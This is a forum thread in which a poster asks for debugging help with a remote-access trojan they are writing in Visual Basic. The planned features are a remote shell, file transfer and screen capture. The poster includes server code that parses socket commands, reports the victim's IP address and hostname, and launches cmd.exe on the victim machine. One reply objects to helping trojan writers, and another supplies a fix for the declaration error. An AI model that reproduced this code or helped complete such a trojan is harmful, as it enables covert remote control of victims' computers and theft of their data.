|im making a sin trojan in visual basic. i have the connection all set but im having trouble with options. its going to be a basic sin with only remote shell, file tranfer and screen capture.|
for the moment im working on the remote shell. it seemed natural that before i can get an output of dos i must first run it on the victim. the problem im having is that the compiler keeps saysing the sub or function is not defined although i declared it
here is the the part its giving me trouble with
Private Sub ServerSck_DataArrival(ByVal bytesTotal As Long)
Dim SData As String
Dim All_Data As String
Dim Comamnd As String
Dim Multi() As String
Dim Temp_String As String
Comamnd = Left(SData, 6)
All_Data = Right(SData, Len(SData) - 6)
Multi() = Split(All_Data, "[#]")
If Comamnd = "SrvDtl" Then
Temp_String = "SrvDtl"
Temp_String = Temp_String & "[#]" & ServerSck.LocalIP
Temp_String = Temp_String & "[#]" & ServerSck.LocalHostName
Temp_String = Temp_String & "[#]" & "No Details"
Temp_String = Temp_String & "[#]" & "Evil_Inside"
If Comamnd = "SndMsg" Then
If Comamnd = "OPN" Then
ShellExecute Me.hWnd, vbNullString, "WINDOWS\system32\cmd.exe", vbNullString, "C:\", 1
and here is the declare function im using
Private Declare Function Shell Lib "SHELL32.DLL" Alias "ShellExecute" (ByVal hWnd As Long, ByVal lpOperation As String, ByVal lpFile As String, ByVal lpParameters As String, ByVal lpDirectory As String, ByVal nShowCmd As Long) As Long
thank you in advance for any help
Edited by on 24-10-06 04:03
Rank: Hacker Level 3
|Hmm you know that most people who write trojans and viruses don't get any help here, right? :right:|
http://uber0n.web. . .
|lol if you put the declerations in a module, or if they are within the form.. |
if you declared it in the form, change the Private to Public..
and if you declared it in a module, just remove the Private and put something like:
Dim VARIABLE As TYPE.
That should do it